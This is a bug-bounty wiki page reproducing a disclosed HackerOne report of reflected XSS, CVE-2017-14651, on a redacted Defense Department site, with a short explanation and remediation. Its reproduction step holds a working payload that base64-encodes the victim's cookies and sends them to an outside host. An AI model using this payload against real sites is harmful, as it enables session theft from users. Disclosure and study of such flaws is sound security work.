Skip to content
XSS Disclosed report Beginner CVE-2017-14651

Reflected XSS at www.███████ at /██████████ via the ████████ parameter

The site runs a known-vulnerable version of a web framework, and the parameter in a specific component reflects user input without proper encoding. An attacker could craft a link that runs script in a victim's browser, potentially stealing credentials or redirecting them.

z32 Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 24 days
  • Disclosed after 40 days

Description: The www.████████ site is using ████, which is vulnerable to reflected XSS in the /█████ component via the █████████ parameter.

References

https://www.cvedetails.com/cve/CVE-2017-14651/ https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2017-0265

Impact

An attacker can cause malicious code to execute in the victims browser, leading to credential theft, drive-by downloads, malicious redirects, and more.

System Host(s)

www.██████████

Affected Product(s) and Version(s)

████████

CVE Numbers

CVE-2017-14651

Steps to Reproduce

Browse to https://www.███████/███████?██████████=%3Cimg%20src=x%20onerror="a='http%3a%2f%2f███';b='%3Fcookie=';c=btoa(document.cookie);window.open(a%2bb%2bc)">

Suggested Mitigation/Remediation Actions

Apply ███ (see references section)

The original report as published on HackerOne, by z32. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application uses an outdated version of the framework that fails to encode user input in the affected parameter before reflecting it into the response.

Impact

An attacker could execute malicious code in a victim's browser, which may lead to credential theft, drive-by downloads, or malicious redirects.

What the attacker needed

Victim clicks a crafted link

The fix

The framework should be updated to a patched version as described in the referenced security advisory.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Reflected cross-site scripting (XSS) happens when a website takes something from the address bar and puts it straight into the page without cleaning it. If that input contains code, the browser runs it as if the site itself had written it. Here the site uses an old version of a framework that is known to have this flaw in one of its pages.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by z32

View all

18 more disclosed reports, best first.

More from U.S. Dept Of Defense

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.